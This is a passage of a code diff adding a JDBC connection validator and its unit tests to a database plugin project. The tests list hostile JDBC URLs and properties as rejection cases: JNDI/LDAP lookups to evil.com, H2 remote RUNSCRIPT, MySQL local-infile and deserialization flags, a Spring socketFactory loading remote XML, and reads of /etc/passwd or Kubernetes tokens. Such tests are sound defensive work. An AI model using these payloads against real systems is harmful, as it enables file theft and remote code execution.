(isFileOrUrlBearingKey(normalizedKey)) { + if (compactLowerVal.startsWith("http://") || compactLowerVal.startsWith("https://") + || compactLowerVal.startsWith("ftp://")) { + throw new IllegalArgumentException( + String.format("Disallowed remote URL in JDBC property '%s'.", displayKey.trim())); + } + } + } + + private static boolean isFileOrUrlBearingKey(String normalizedKey) { + for (String token : FILE_OR_URL_BEARING_KEY_TOKENS) { + if (normalizedKey.contains(token)) { + return true; + } + } + return false; + } + + private static boolean isSensitiveFilePath(String lowerVal) { + String slashNormalized = lowerVal.replace('\\', '/'); + for (String sensitiveToken : SENSITIVE_PATH_TOKENS) { + if (slashNormalized.contains(sensitiveToken)) { + return true; + } + } + return false; + } + + private static String normalizeKey(String key) { + String commentStripped = stripComments(key); + if (commentStripped.contains("/*") || commentStripped.contains("*/")) { + throw new IllegalArgumentException("JDBC property key contains unclosed or malformed comment sequence."); + } + StringBuilder sb = new StringBuilder(commentStripped.length()); + for (int i = 0; i < commentStripped.length(); i++) { + char c = commentStripped.charAt(i); + if (Character.isWhitespace(c) || c == '"' || c == '\'' || c == '`' || c == '\\' || c == '{' || c == '}') { + continue; + } + sb.append(Character.toLowerCase(c)); + } + return sb.toString(); + } + + private static String stripBraces(String value) { + String current = value; + while (current.length() >= 2 && current.startsWith("{") && current.endsWith("}")) { + current = current.substring(1, current.length() - 1).trim(); + } + return current; + } + + private static String stripComments(String input) { + String current = input; + String previous; + do { + previous = current; + current = COMMENT_PATTERN.matcher(current).replaceAll(""); + } while (!current.equals(previous)); + return current; + } + + private static void rejectControlChars(String value, String context) { + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (c == '\0' || c == '\r' || c == '\n') { + throw new IllegalArgumentException( + String.format("Invalid control character in %s.", context)); + } + } + } + + private static String decodeFully(String input, String context) { + String current = input; + for (int pass = 0; pass < MAX_DECODE_PASSES; pass++) { + if (!current.contains("%") && (pass > 0 || !current.contains("+"))) { + return current; + } + String decoded; + try { + String prepped = pass == 0 ? current.replace("+", "%20") : current.replace("+", "%2B"); + decoded = URLDecoder.decode(prepped, StandardCharsets.UTF_8.name()); + } catch (IllegalArgumentException | UnsupportedEncodingException e) { + throw new IllegalArgumentException( + String.format("Malformed percent-encoding in %s.", context), e); + } + rejectControlChars(decoded, context); + if (decoded.equals(current)) { + return decoded; + } + current = decoded; + } + if (current.contains("%")) { + throw new IllegalArgumentException( + String.format("Excessive nested percent-encoding in %s.", context)); + } + return current; + } + + private static String decodeLenient(String input) { + String current = input; + for (int pass = 0; pass < MAX_DECODE_PASSES; pass++) { + Matcher matcher = VALID_PCT_HEX_PATTERN.matcher(current); + if (!matcher.find()) { + return current; + } + StringBuffer sb = new StringBuffer(); + matcher.reset(); + while (matcher.find()) { + int byteVal = Integer.parseInt(matcher.group(1), 16); + char decodedChar = (char) byteVal; + matcher.appendReplacement(sb, Matcher.quoteReplacement(String.valueOf(decodedChar))); + } + matcher.appendTail(sb); + String next = sb.toString(); + rejectControlChars(next, "JDBC password property"); + if (next.equals(current)) { + return next; + } + current = next; + } + return current; + } +} diff --git a/database-commons/src/main/java/io/cdap/plugin/util/RetryUtils.java b/database-commons/src/main/java/io/cdap/plugin/util/RetryUtils.java index 433978358..2979af793 100644 --- a/database-commons/src/main/java/io/cdap/plugin/util/RetryUtils.java +++ b/database-commons/src/main/java/io/cdap/plugin/util/RetryUtils.java @@ -43,6 +43,7 @@ public final class RetryUtils { public static Connection createConnectionWithRetry(RetryPolicy retryPolicy, String connectionString, Properties connectionProperties, DBErrorDetailsProvider dbErrorDetailsProvider) { + JdbcConnectionValidator.validateJdbcConnection(connectionString, connectionProperties); try { return Failsafe.with(retryPolicy).get(() -> DriverManager .getConnection(connectionString, connectionProperties) diff --git a/database-commons/src/test/java/io/cdap/plugin/db/DBConfigTest.java b/database-commons/src/test/java/io/cdap/plugin/db/DBConfigTest.java index 305f40898..d10e67dcd 100644 --- a/database-commons/src/test/java/io/cdap/plugin/db/DBConfigTest.java +++ b/database-commons/src/test/java/io/cdap/plugin/db/DBConfigTest.java @@ -41,6 +41,13 @@ public void testCleanDumbQuery() { Assert.assertEquals("", config.query); } + @Test(expected = IllegalArgumentException.class) + public void testDisallowedConnectionArgumentsRejected() { + TestDBConfig config = new TestDBConfig("select * from table"); + config.connectionArguments = "allowLoadLocalInfile=true"; + config.getConnectionArguments(); + } + /** * Test config. */ diff --git a/database-commons/src/test/java/io/cdap/plugin/util/JdbcConnectionValidatorTest.java b/database-commons/src/test/java/io/cdap/plugin/util/JdbcConnectionValidatorTest.java new file mode 100644 index 000000000..030b851f3 --- /dev/null +++ b/database-commons/src/test/java/io/cdap/plugin/util/JdbcConnectionValidatorTest.java @@ -0,0 +1,320 @@ +/* + * Copyright © 2026 Cask Data, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not + * use this file except in compliance with the License. You may obtain a copy of + * the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations under + * the License. + */ + +package io.cdap.plugin.util; + +import dev.failsafe.RetryPolicy; +import io.cdap.cdap.etl.api.PipelineConfigurer; +import io.cdap.cdap.etl.api.StageConfigurer; +import io.cdap.cdap.etl.api.validation.ValidationException; +import io.cdap.cdap.etl.mock.validation.MockFailureCollector; +import io.cdap.plugin.common.db.DBErrorDetailsProvider; +import io.cdap.plugin.db.ConnectionConfig; +import io.cdap.plugin.db.ConnectionConfigAccessor; +import io.cdap.plugin.db.JDBCDriverShim; +import org.apache.hadoop.conf.Configuration; +import org.junit.Assert; +import org.junit.Test; +import org.mockito.Mockito; + +import java.sql.Connection; +import java.sql.Driver; +import java.sql.SQLException; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; + +/** + * Unit tests for {@link JdbcConnectionValidator} and its caller entry points. + */ +public class JdbcConnectionValidatorTest { + + @Test + public void testValidJdbcUrlsAndPropertiesPass() { + List validUrls = Arrays.asList( + "jdbc:mysql://localhost:3306/mydb?useSSL=true&requireSSL=true&connectTimeout=20000&serverTimezone=UTC", + "jdbc:mysql://10.0.0.1:3306/mydb?rewriteBatchedStatements=true&tinyInt1isBit=false&useCursorFetch=true", + "jdbc:mysql:///mydb?cloudSqlInstance=proj:us-central1:inst" + + "&socketFactory=com.google.cloud.sql.mysql.SocketFactory", + "jdbc:postgresql://localhost:5432/mydb?ssl=true&sslmode=verify-full& currentSchema=public", + "jdbc:postgresql:///mydb?cloudSqlInstance=proj:us-central1:inst" + + "&socketFactory=com.google.cloud.sql.postgres.SocketFactory", + "jdbc:sqlserver://localhost:1433;databaseName=mydb;encrypt=true;trustServerCertificate=false;loginTimeout=30;", + "jdbc:oracle:thin:@//localhost:1521/ORCLPDB1", + "jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=myhost)(PORT=2484))" + + "(CONNECT_DATA=(SERVICE_NAME=mydb)))", + "jdbc:db2://localhost:50000/MYDB:currentSchema=MYSCHEMA;loginTimeout=30;", + "jdbc:mariadb://localhost:3306/mydb?useCompression=true&autoReconnect=true", + "jdbc:teradata://localhost/DATABASE=mydb,TMODE=ANSI,CHARSET=UTF8,LOGMECH=LDAP", + "jdbc:databricks://dbc-xxx.cloud.databricks.com:443/default;transportMode=http;ssl=1;AuthMech=3;" + + "httpPath=/sql/1.0/warehouses/abc;ConnCatalog=main;", + "jdbc:redshift://localhost:5439/dev?ssl=true", + "jdbc:netezza://localhost:5480/system", + "jdbc:sap://localhost:30015/?encrypt=true", + "jdbc:hsqldb:hsql://localhost/testdb", + "jdbc:hsqldb:mem:testdb", + "jdbc:test://localhost:1234/db" + ); + + for (String url : validUrls) { + JdbcConnectionValidator.validateUrl(url); + } + + Properties validProps = new Properties(); + validProps.setProperty("user", "dbuser"); + validProps.setProperty("password", "p@ss%word!100%"); + validProps.setProperty("connectTimeout", "30000"); + validProps.setProperty("socketTimeout", "30000"); + validProps.setProperty("useSSL", "true"); + validProps.setProperty("characterEncoding", "UTF-8"); + JdbcConnectionValidator.validateProperties(validProps); + JdbcConnectionValidator.validateJdbcConnection("jdbc:postgresql://localhost:5432/mydb", validProps); + } + + @Test + public void testBlockedSubprotocolsAndSchemesRejected() { + List blockedUrls = Arrays.asList( + "", + " ", + "http://localhost:3306/mydb", + "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/init.sql'", + "jdbc:h2:tcp://localhost/~/test", + "jdbc:sqlite:/var/run/secrets/kubernetes.io/serviceaccount/token", + "jdbc:sqlite::memory:", + "jdbc:derby:memory:myDB;create=true", + "jdbc:derby:rmi://localhost:1527/mydb", + "jdbc:modeshape:jcr:http://localhost:8080/modeshape", + "jdbc:jndi:ldap://evil.com:1389/Exploit", + "jdbc:ldap://evil.com:389/dc=example,dc=com", + "jdbc:ldaps://evil.com:636/dc=example,dc=com", + "jdbc:rmi://evil.com:1099/db", + "jdbc:rowset:jndi:rmi://evil.com/rowset", + "jdbc:hsqldb:file:/etc/passwd", + "jdbc:hsqldb:res:/org/evil/db", + "jdbc:tc:postgresql:13:///databasename", + "jdbc:oracle:oci:@localhost:1521:orcl", + "jdbc:mysql://localhost:3306/db?jndi:ldap://evil.com/x=1" + ); + + for (String url : blockedUrls) { + assertUrlRejected(url); + } + } + + @Test + public void testDangerousDriverUrlParametersRejected() { + List dangerousUrls = Arrays.asList( + // MySQL / MariaDB file read, deserialization, interceptors, plugins + "jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true", + "jdbc:mysql://localhost:3306/db?allowUrlInLocalInfile=true", + "jdbc:mysql://localhost:3306/db?allowLoadLocalInfileInPath=/etc", + "jdbc:mysql://localhost:3306/db?autoDeserialize=true", + "jdbc:mysql://localhost:3306/db?queryInterceptors=com.evil.Interceptor", + "jdbc:mysql://localhost:3306/db?statementInterceptors=com.evil.Interceptor", + "jdbc:mysql://localhost:3306/db?connectionLifecycleInterceptors=com.evil.Interceptor", + "jdbc:mysql://localhost:3306/db?exceptionInterceptors=com.evil.Interceptor", + "jdbc:mysql://localhost:3306/db?authenticationPlugins=com.evil.Plugin", + "jdbc:mysql://localhost:3306/db?clientInfoProvider=com.evil.Provider", + "jdbc:mysql://localhost:3306/db?propertiesTransform=com.evil.Transform", + "jdbc:mysql://localhost:3306/db?loadBalanceStrategy=com.evil.Strategy", + "jdbc:mysql://(host=127.0.0.1,port=3306,allowLoadLocalInfile=true)/db", + "jdbc:mysql:replication://(host=127.0.0.1,port=3306,autoDeserialize=true)/db", + "jdbc:mysql://address=(protocol=tcp)(host=127.0.0.1)(allowLoadLocalInfile=true)/db", + "jdbc:mysql://(host=127.0.0.1,(allowLoadLocalInfile=true))/db", + // PostgreSQL socketFactory / sslfactory / loggerFile / service + "jdbc:postgresql://localhost:5432/db?socketFactory=" + + "org.springframework.context.support.FileSystemXmlApplicationContext" + + "&socketFactoryArg=http://evil/bean.xml", + "jdbc:postgresql://localhost:5432/db?socketFactory=com.google.cloud.sql.postgres.SocketFactory" + + "&socketFactory=org.evil.Factory", + "jdbc:postgresql://localhost:5432/db?socketFactory=com.google.cloud.sql.postgres.SocketFactory" + + "&socketFactoryArg=evil", + "jdbc:postgresql://localhost:5432/db?sslfactory=org.postgresql.ssl.SingleCertValidatingFactory" + + "&sslfactoryarg=file:///etc/passwd", + "jdbc:postgresql://localhost:5432/db?sslpasswordcallback=com.evil.Callback", + "jdbc:postgresql://localhost:5432/db?sslhostnameverifier=com.evil.Verifier", + "jdbc:postgresql://localhost:5432/db?authenticationPluginClassName=com.evil.AuthPlugin", + "jdbc:postgresql://localhost:5432/db?loggerLevel=TRACE&loggerFile=/tmp/pwn.jsp", + "jdbc:postgresql://localhost:5432/db?service=/var/run/secrets/kubernetes.io/serviceaccount/token", + // DB2 / Oracle / MSSQL / Teradata / Databricks + "jdbc:db2://localhost:50000/MYDB:clientRerouteServerListJNDIName=ldap://evil.com:1389/Exploit;", + "jdbc:db2://localhost:50000/MYDB:traceFile=/tmp/db2trace.log;", + "jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=1521))" + + "(CONNECT_DATA=(javax.naming.provider.url=ldap://evil.com:389/o=JNDITutorial)))", + "jdbc:sqlserver://localhost:1433;databaseName=mydb;socketFactoryClass=com.evil.Factory;" + + "socketFactoryConstructorArg=arg;", + "jdbc:teradata://localhost/DATABASE=mydb,RUNSCRIPT=true", + "jdbc:databricks://localhost:443/default;httpPath=/sql/1.0/warehouses/abc;" + + "krbJAASFile=/var/run/secrets/kubernetes.io/serviceaccount/token;" + ); + + for (String url : dangerousUrls) { + assertUrlRejected(url); + } + } + + @Test + public void testEncodingCommentAndObfuscationBypassesRejected() { + List bypassUrls = Arrays.asList( + // Single, double, triple URL encoding + "jdbc:mysql://localhost:3306/db?%61llowLoadLocalInfile=true", + "jdbc:mysql://localhost:3306/db?%2561llowLoadLocalInfile=true", + "jdbc:mysql://localhost:3306/db?%252561llowLoadLocalInfile=true", + // 6-pass excessive encoding + "jdbc:mysql://localhost:3306/db?%252525252561llowLoadLocalInfile=true", + // Malformed % encoding + "jdbc:mysql://localhost:3306/db?%ZZallowLoadLocalInfile=true", + // SQL comments and nested comments + "jdbc:mysql://localhost:3306/db?allow/*comment*/LoadLocalInfile=true", + "jdbc:mysql://localhost:3306/db?allow/*outer/*inner*/outer*/LoadLocalInfile=true", + "jdbc:mysql://localhost:3306/db?allow/*unclosedLoadLocalInfile=true", + // Control characters and whitespace / quotes / braces + "jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true\0", + "jdbc:mysql://localhost:3306/db?allowLoad\nLocalInfile=true", + "jdbc:mysql://localhost:3306/db?allowLoad+LocalInfile=true", + "jdbc:sqlserver://localhost:1433;trustStore={/var/run/secrets/kubernetes.io/serviceaccount/token};", + "jdbc:postgresql://localhost:5432/db?sslrootcert=/var/run/secrets/kubernetes.io/serviceaccount/token#fragment" + ); + + for (String url : bypassUrls) { + assertUrlRejected(url); + } + } + + @Test + public void testPropertiesAndBackingDefaultsValidation() { + // Direct property rejection + Properties props = new Properties(); + props.setProperty("ALLOWLOADLOCALINFILE", "true"); + Assert.assertThrows(IllegalArgumentException.class, () -> JdbcConnectionValidator.validateProperties(props)); + + // CloudSQL socketFactory must be rejected when supplied in Properties (only allowed in URL) + Properties socketFactoryProps = new Properties(); + socketFactoryProps.setProperty("socketFactory", "com.google.cloud.sql.mysql.SocketFactory"); + Assert.assertThrows(IllegalArgumentException.class, + () -> JdbcConnectionValidator.validateProperties(socketFactoryProps)); + + // Cross-carrier socketFactory in URL + socketFactoryArg in Properties must be rejected + Properties socketFactoryArgProps = new Properties(); + socketFactoryArgProps.setProperty("socketFactoryArg", "my-arg"); + Assert.assertThrows( + IllegalArgumentException.class, + () -> JdbcConnectionValidator.validateJdbcConnection( + "jdbc:mysql:///mydb?cloudSqlInstance=p:r:i&socketFactory=com.google.cloud.sql.mysql.SocketFactory", + socketFactoryArgProps)); + + // Backing defaults in new Properties(defaults) must be inspected + Properties defaults = new Properties(); + defaults.setProperty("autoDeserialize", "true"); + Properties wrapper = new Properties(defaults); + wrapper.setProperty("user", "alice"); + Assert.assertThrows(IllegalArgumentException.class, () -> JdbcConnectionValidator.validateProperties(wrapper)); + + // Sensitive file paths in SSL / keystore properties must be rejected + Map sensitiveMap = new HashMap<>(); + sensitiveMap.put("trustCertificateKeyStoreUrl", "file:/var/run/secrets/kubernetes.io/serviceaccount/token"); + Assert.assertThrows(IllegalArgumentException.class, + () -> JdbcConnectionValidator.validateConnectionArgumentsMap(sensitiveMap)); + + Map traversalMap = new HashMap<>(); + traversalMap.put("sslkey", "../../etc/passwd"); + Assert.assertThrows(IllegalArgumentException.class, + () -> JdbcConnectionValidator.validateConnectionArgumentsMap(traversalMap)); + } + + @Test + public void testCallerWiringAcrossShimRetryUtilsDBUtilsAndAccessor() throws Exception { + Driver mockDriver = Mockito.mock(Driver.class); + JDBCDriverShim shim = new JDBCDriverShim(mockDriver); + + Assert.assertThrows(IllegalArgumentException.class, + () -> shim.acceptsURL("jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true")); + Assert.assertThrows(IllegalArgumentException.class, + () -> shim.connect("jdbc:mysql://localhost:3306/db", + singletonProps("autoDeserialize", "true"))); + + // DBUtils.ensureJDBCDriverIsAvailable must reject dangerous URLs before DriverManager.getDriver + Assert.assertThrows( + IllegalArgumentException.class, + () -> DBUtils.ensureJDBCDriverIsAvailable(Driver.class, "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://x'", "h2")); + + // RetryUtils.createConnectionWithRetry must throw IllegalArgumentException directly without Failsafe wrapping + RetryPolicy retryPolicy = RetryPolicyUtil.getRetryPolicy(1, 2, 1); + Assert.assertThrows( + IllegalArgumentException.class, + () -> RetryUtils.createConnectionWithRetry( + retryPolicy, "jdbc:postgresql://localhost:5432/db", + singletonProps("socketFactory", "com.evil.SocketFactory"), new DBErrorDetailsProvider())); + + // ConnectionConfigAccessor must reject dangerous arguments on both set and get + ConnectionConfigAccessor accessor = new ConnectionConfigAccessor(); + Assert.assertThrows( + IllegalArgumentException.class, + () -> accessor.setConnectionArguments(Collections.singletonMap("allowLoadLocalInfile", "true"))); + + Configuration rawConf = new Configuration(); + rawConf.set("io.cdap.plugin.db.connection.arguments", "{\"queryInterceptors\":\"com.evil.Interceptor\"}"); + ConnectionConfigAccessor rawAccessor = new ConnectionConfigAccessor(rawConf); + Assert.assertThrows(IllegalArgumentException.class, rawAccessor::getConnectionArguments); + + // DBUtils.validateJDBCPluginPipeline must record ValidationFailure on collector + MockFailureCollector collector = new MockFailureCollector(); + StageConfigurer stageConfigurer = Mockito.mock(StageConfigurer.class); + Mockito.when(stageConfigurer.getFailureCollector()).thenReturn(collector); + PipelineConfigurer pipelineConfigurer = Mockito.mock(PipelineConfigurer.class); + Mockito.when(pipelineConfigurer.getStageConfigurer()).thenReturn(stageConfigurer); + TestPipelineConnectionConfig badConfig = new TestPipelineConnectionConfig( + "jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true", "autoDeserialize=true"); + Assert.assertThrows(ValidationException.class, + () -> DBUtils.validateJDBCPluginPipeline(pipelineConfigurer, badConfig, "jdbc.mysql")); + Assert.assertTrue(collector.getValidationFailures().size() >= 2); + } + + private static void assertUrlRejected(String url) { + Assert.assertThrows( + "Expected URL to be rejected: " + url, + IllegalArgumentException.class, + () -> JdbcConnectionValidator.validateUrl(url)); + } + + private static Properties singletonProps(String key, String value) { + Properties props = new Properties(); + props.setProperty(key, value); + return props; + } + + private static class TestPipelineConnectionConfig extends ConnectionConfig { + private final String connStr; + + TestPipelineConnectionConfig(String connStr, String connArgs) { + this.connStr = connStr; + this.connectionArguments = connArgs; + } + + @Override + public String getConnectionString() { + return connStr; + } + + @Override + public String getJdbcPluginName() { + return "mysql"; + } + } +} diff --git a/mysql-plugin/src/test/java/io/cdap/plugin/mysql/MysqlFailedConnectionTest.java b/mysql-plugin/src/test/java/io/cdap/plugin/mysql/MysqlFailedConnectionTest.java index 5c4f35828..e45629df1 100644 --- a/mysql-plugin/src/test/java/io/cdap/plugin/mysql/MysqlFailedConnectionTest.java +++ b/mysql-plugin/src/test/java/io/cdap/plugin/mysql/MysqlFailedConnectionTest.java @@ -53,4 +53,13 @@ public void testWithUpdatedConnectionArguments() throws ClassNotFoundException, "ConnectException: Connection refused (Connection refused)."); } + @Test + public void testDisallowedAllowLoadLocalInfilePropertyRejected() throws ClassNotFoundException, IOException { + MysqlConnector connector = new MysqlConnector( + new MysqlConnectorConfig("localhost", 3306, "username", "password", "jdbc", + "allowLoadLocalInfile=true")); + + super.test(JDBC_DRIVER_CLASS_NAME, connector, "Disallowed JDBC connection property: 'allowLoadLocalInfile'."); + } + } diff --git a/postgresql-plugin/src/test/java/io/cdap/plugin/postgres/PostgresFailedConnectionTest.java b/postgresql-plugin/src/test/java/io/cdap/plugin/postgres/PostgresFailedConnectionTest.java index a9cc4ab80..fe8ad0641 100644 --- a/postgresql-plugin/src/test/java/io/cdap/plugin/postgres/PostgresFailedConnectionTest.java +++ b/postgresql-plugin/src/test/java/io/cdap/plugin/postgres/PostgresFailedConnectionTest.java @@ -35,4 +35,13 @@ public void test() throws ClassNotFoundException, IOException { "{user=username}. Error: ConnectException: Connection refused " + "(Connection refused)."); } + + @Test + public void testDisallowedSocketFactoryPropertyRejected() throws ClassNotFoundException, IOException { + PostgresConnector connector = new PostgresConnector( + new PostgresConnectorConfig("localhost", 5432, "username", "password", "jdbc", + "socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext")); + + super.test(JDBC_DRIVER_CLASS_NAME, connector, "Disallowed JDBC connection property: 'socketFactory'."); + } }